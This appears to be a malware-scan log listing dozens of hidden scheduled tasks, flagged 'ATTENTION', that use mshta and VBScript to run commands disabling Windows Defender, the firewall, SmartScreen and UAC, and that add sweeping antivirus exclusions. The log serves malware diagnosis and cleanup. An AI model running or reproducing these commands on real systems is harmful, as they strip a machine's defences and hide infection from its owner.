Task: {C6E2FD0A-D9B9-44CE-9BD2-F56F950F1BAD} - System32\Tasks\Microsoft\Windows\SpacePort\DisableIOAVProtection2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableIOAVProtection /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {A7F0D236-077F-4CC0-90B1-EAEC52D6DABA} - System32\Tasks\Microsoft\Windows\SpacePort\DisableNotifications => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications"" /v DisableNotifications /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {A34E86A7-8808-46FD-B7BE-1E988A893543} - System32\Tasks\Microsoft\Windows\SpacePort\DisableOnAccessProtection => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {77785B24-DA64-465F-8123-6D7280B1A1F8} - System32\Tasks\Microsoft\Windows\SpacePort\DisableOnAccessProtection1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {96023078-5760-435C-A4DD-126B8EF6807D} - System32\Tasks\Microsoft\Windows\SpacePort\DisablePrivacyMode => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisablePrivacyMode True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {0E8CE3FF-0D30-460E-8C24-D24837C02D39} - System32\Tasks\Microsoft\Windows\SpacePort\DisablePrivacyMode2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration"" /v DisablePrivacyMode /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {5F68B13A-D827-4EA7-8BEF-A8E8B1BC2D38} - System32\Tasks\Microsoft\Windows\SpacePort\DisableRealtimeMonitoring => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {9C4A304D-A1AB-47D9-B966-03EE56E063A2} - System32\Tasks\Microsoft\Windows\SpacePort\DisableRealtimeMonitoring1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisableRealtimeMonitoring True -ErrorAction Ignore -Force",0)(Window.Close) <==== ATTENTION
Task: {C0BA09C2-ED76-4A3D-A65E-C22262E94D62} - System32\Tasks\Microsoft\Windows\SpacePort\DisableRealtimeMonitoring2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {9C9EBFA2-5D7F-44C8-BFE9-684E310311D0} - System32\Tasks\Microsoft\Windows\SpacePort\DisableRemovableDriveScanning => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v DisableRemovableDriveScanning /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {AF990D42-2414-4CB6-8137-B360ABF1BB90} - System32\Tasks\Microsoft\Windows\SpacePort\DisableRestorePoint => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v DisableRestorePoint /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {4A8F4061-3585-4127-9939-008A0AC57807} - System32\Tasks\Microsoft\Windows\SpacePort\DisableRoutinelyTakingAction => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {2369277A-843F-4537-968B-435AA6A8E90E} - System32\Tasks\Microsoft\Windows\SpacePort\DisableScanningMappedNetworkDrivesForFullScan => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v DisableScanningMappedNetworkDrivesForFullScan /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {1279733F-0100-4D5C-BA96-AE7C7D5EAA8F} - System32\Tasks\Microsoft\Windows\SpacePort\DisableScanningMappedNetworkDrivesForFullScan1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {1D1C5CBF-35E7-4AB6-B447-2AD518127CC7} - System32\Tasks\Microsoft\Windows\SpacePort\DisableScanningNetworkFiles => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v DisableScanningNetworkFiles /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {E7363B4B-C708-4A4C-ABD9-2007295DC664} - System32\Tasks\Microsoft\Windows\SpacePort\DisableScanOnRealtimeEnable => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {B371BE0C-3C47-4B4B-985A-B689F54CB866} - System32\Tasks\Microsoft\Windows\SpacePort\DisableScanOnRealtimeEnable1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {9C3EC75D-AA24-4950-A3E2-E7A2FF8282BD} - System32\Tasks\Microsoft\Windows\SpacePort\DisableScriptScanning => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableScriptScanning /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {00D1807F-CC30-4945-8C44-A67C57930587} - System32\Tasks\Microsoft\Windows\SpacePort\DisableScriptScanning1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -DisableScriptScanning True -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {848E0B32-66C4-4795-910C-885C43378157} - System32\Tasks\Microsoft\Windows\SpacePort\DisableUpdateOnStartupWithoutEngine => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates"" /v DisableUpdateOnStartupWithoutEngine /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {E176EE60-577B-4DC0-9764-AC6D2853BCD6} - System32\Tasks\Microsoft\Windows\SpacePort\DontOfferThroughWUAU => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {AABCCE95-8EA6-4942-8E85-960FE28A3647} - System32\Tasks\Microsoft\Windows\SpacePort\DontOfferThroughWUAU2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {4D09FCD8-5D25-44C8-8FC4-D822EB8EDF08} - System32\Tasks\Microsoft\Windows\SpacePort\DontReportInfectionInformatio => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontReportInfectionInformatio /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {6080DDD8-E9A9-4A94-8CC8-418FA4EDB7EF} - System32\Tasks\Microsoft\Windows\SpacePort\DontReportInfectionInformation => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"" /v DontReportInfectionInformation /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {0924CB17-C1DC-4C6E-B5E9-01409666E7A0} - System32\Tasks\Microsoft\Windows\SpacePort\DontReportInfectionInformation2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontReportInfectionInformation /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {9751A41C-4992-43D8-9FEB-67EB541BFF8B} - System32\Tasks\Microsoft\Windows\SpacePort\EnabledV9 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter /v EnabledV9 /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {8D635628-E96F-428C-B278-50598A4F3838} - System32\Tasks\Microsoft\Windows\SpacePort\EnabledV92 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter /v EnabledV9 /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {6F803351-277C-4229-AF0E-2BCD60FCA006} - System32\Tasks\Microsoft\Windows\SpacePort\EnableFirewall => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile /v EnableFirewall /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {F8FC2730-3CE0-4BC5-B8A0-B0EB0F0BB068} - System32\Tasks\Microsoft\Windows\SpacePort\EnableFirewall2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile /v EnableFirewall /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {C2698F3B-48E1-4C38-AEC5-D9A73A5BE033} - System32\Tasks\Microsoft\Windows\SpacePort\EnableFirewall3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile /v EnableFirewall /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {DF15E471-C7C1-43D2-9C46-EF7DCBCDCAF7} - System32\Tasks\Microsoft\Windows\SpacePort\EnableSmartScreen => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v EnableSmartScreen /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {4381830C-FA18-43FA-9EFC-1DC0DF703AE7} - System32\Tasks\Microsoft\Windows\SpacePort\EnableWebContentEvaluation => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v EnableWebContentEvaluation /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {884332FE-9825-4F92-B185-F3C1DF86C8D9} - System32\Tasks\Microsoft\Windows\SpacePort\EnableWebContentEvaluation2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\NTUSER\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v EnableWebContentEvaluation /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {9EDF12FA-6098-4D6B-BC65-586FE7DAB944} - System32\Tasks\Microsoft\Windows\SpacePort\EPP => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg delete HKCR\*\shellex\ContextMenuHandlers\EPP /f",0)(Window.Close) <==== ATTENTION
Task: {B8CCEFCD-A9E3-4E42-ACA9-DC4AD24372D9} - System32\Tasks\Microsoft\Windows\SpacePort\EPP1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg delete HKCR\Directory\shellex\ContextMenuHandlers\EPP /f",0)(Window.Close) <==== ATTENTION
Task: {60662C93-CD60-419E-82C3-2A39EAC07E95} - System32\Tasks\Microsoft\Windows\SpacePort\EPP2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg delete HKCR\Drive\shellex\ContextMenuHandlers\EPP /f",0)(Window.Close) <==== ATTENTION
Task: {EAC3AA22-58AF-4D5B-85F5-2F0E8B8EED4E} - System32\Tasks\Microsoft\Windows\SpacePort\ExclusionExtension => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Add-MpPreference -ExclusionExtension exe -ErrorAction Ignore -Force",0)(Window.Close) <==== ATTENTION
Task: {AA36BCDC-899C-479F-A5F2-BD88E202D02F} - System32\Tasks\Microsoft\Windows\SpacePort\ExclusionPath => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Add-MpPreference -ExclusionPath C:\* -Force",0)(Window.Close) <==== ATTENTION
Task: {9BAA07A6-72F6-46E8-9E38-23AA143EA249} - System32\Tasks\Microsoft\Windows\SpacePort\ExclusionProcess => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Add-MpPreference -ExclusionProcess cmd.exe -Force",0)(Window.Close) <==== ATTENTION
Task: {13566B74-E22E-419F-92E1-CAAEE27850D1} - System32\Tasks\Microsoft\Windows\SpacePort\ExclusionProcess1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Add-MpPreference -ExclusionProcess powershell.exe -Force",0)(Window.Close) <==== ATTENTION
Task: {F3C1F129-15C1-4A14-9053-6464404EB311} - System32\Tasks\Microsoft\Windows\SpacePort\ExclusionProcess2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Add-MpPreference -ExclusionProcess mshta.exe -Force",0)(Window.Close) <==== ATTENTION
Task: {E02A47BC-F04D-4B88-A41D-C13B69C48205} - System32\Tasks\Microsoft\Windows\SpacePort\ExclusionProcess3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Add-MpPreference -ExclusionProcess *.exe -Force",0)(Window.Close) <==== ATTENTION
Task: {DDDEE5EB-6A1A-497B-BCD1-4F628E1FA45B} - System32\Tasks\Microsoft\Windows\SpacePort\ExecutionPolicy => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine -Force",0)(Window.Close) <==== ATTENTION
Task: {DFD771B8-C2F7-44A1-8386-8F6A9DBFB8CF} - System32\Tasks\Microsoft\Windows\SpacePort\FirstAuGracePeriod => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates"" /v FirstAuGracePeriod /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {36F01F4E-D72E-4213-9A5F-A4DC3AD2CDCC} - System32\Tasks\Microsoft\Windows\SpacePort\FW => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c netsh advfirewall set allprofiles state off",0)(Window.Close) <==== ATTENTION
Task: {BA8B7674-2C4A-4780-A3BF-58A3DC6F2D84} - System32\Tasks\Microsoft\Windows\SpacePort\HideSystray => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray"" /v HideSystray /t REG_DWORD /d 1 /f",0)(Window.Close) <==== ATTENTION
Task: {47EAC88F-A256-43E8-A457-75FDB8B8A689} - System32\Tasks\Microsoft\Windows\SpacePort\HighThreatDefaultAction => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {1BB89FE1-7781-42AA-8243-738001F4A352} - System32\Tasks\Microsoft\Windows\SpacePort\LocalSettingOverridePurgeItemsAfterDelay => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine"" /v LocalSettingOverridePurgeItemsAfterDelay /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {954EB728-7989-405D-881F-63C4578D2835} - System32\Tasks\Microsoft\Windows\SpacePort\LocalSettingOverrideSpynetReporting => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {35C11DAA-6A91-4921-82BF-AE088506CCA3} - System32\Tasks\Microsoft\Windows\SpacePort\LowThreatDefaultAction => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {C9DC1D79-949B-47B5-B9A5-F209D5458357} - System32\Tasks\Microsoft\Windows\SpacePort\MAPSReporting => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {819E88DF-A68C-49EA-A741-FBC2EBD93614} - System32\Tasks\Microsoft\Windows\SpacePort\ModerateThreatDefaultAction => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c powershell -Command Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore",0)(Window.Close) <==== ATTENTION
Task: {A7AF4A42-4238-4562-AF83-0810D4BF7C71} - System32\Tasks\Microsoft\Windows\SpacePort\MpEnablePus => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine"" /v MpEnablePus /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {D616C40C-CE3F-4CD5-AADE-CE6CAB16F67C} - System32\Tasks\Microsoft\Windows\SpacePort\MpEnablePus2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine"" /v MpEnablePus /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {842B2FDE-6A86-45EF-A0E4-9A625F12C8C7} - System32\Tasks\Microsoft\Windows\SpacePort\MsSecFlt => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SYSTEM\ControlSet001\Services\MsSecFlt /v Start /t REG_DWORD /d 4 /f",0)(Window.Close) <==== ATTENTION
Task: {CBFC7428-3675-4E77-B339-CB2B6C1A56D7} - System32\Tasks\Microsoft\Windows\SpacePort\NetGru => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {C1784322-2273-4DF1-8ACC-DE7D032724CB} - System32\Tasks\Microsoft\Windows\SpacePort\NetLink => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {50ACDB04-BEA8-4E0A-AC55-5290AFF738D7} - System32\Tasks\Microsoft\Windows\SpacePort\Network1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {AB1B433E-0E12-454D-826F-07BB6D9C63BA} - System32\Tasks\Microsoft\Windows\SpacePort\NonCriticalTimeOut => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting"" /v NonCriticalTimeOut /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {9EE6FF1D-5B4A-4216-A819-319944F01BB8} - System32\Tasks\Microsoft\Windows\SpacePort\PreventOverride => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {7E0379D1-3B2C-4E84-9A7A-A6D9B5B16337} - System32\Tasks\Microsoft\Windows\SpacePort\PreventOverride1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\NTUSER\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {F6B38D88-5DF3-493A-89F1-CF53D1D1B709} - System32\Tasks\Microsoft\Windows\SpacePort\PreventOverride2 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {158A2F44-A795-4D53-B9EB-112566D7FB1C} - System32\Tasks\Microsoft\Windows\SpacePort\PreventOverride3 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter /v PreventOverride /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {60EAB073-C994-4B9A-B355-50C63066401F} - System32\Tasks\Microsoft\Windows\SpacePort\PUAProtection => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v PUAProtection /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {6B663344-2627-4B80-B309-58E01B76212F} - System32\Tasks\Microsoft\Windows\SpacePort\PurgeItemsAfterDelay => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan"" /v PurgeItemsAfterDelay /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {E2F9FF4C-68BB-40BC-91BF-3C0E049E342D} - System32\Tasks\Microsoft\Windows\SpacePort\PurgeItemsAfterDelay1 => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine"" /v PurgeItemsAfterDelay /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
Task: {87BD16E2-31EA-4CA9-A04C-4941DFBF8EE1} - System32\Tasks\Microsoft\Windows\SpacePort\RandomizeScheduleTaskTimes => C:\windows\system32\mshta.exe [32768 2024-06-30] (Microsoft Windows -> Microsoft Corporation) -> vbscript:CreateObject("WScript.Shell").Run("cmd /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v RandomizeScheduleTaskTimes /t REG_DWORD /d 0 /f",0)(Window.Close) <==== ATTENTION
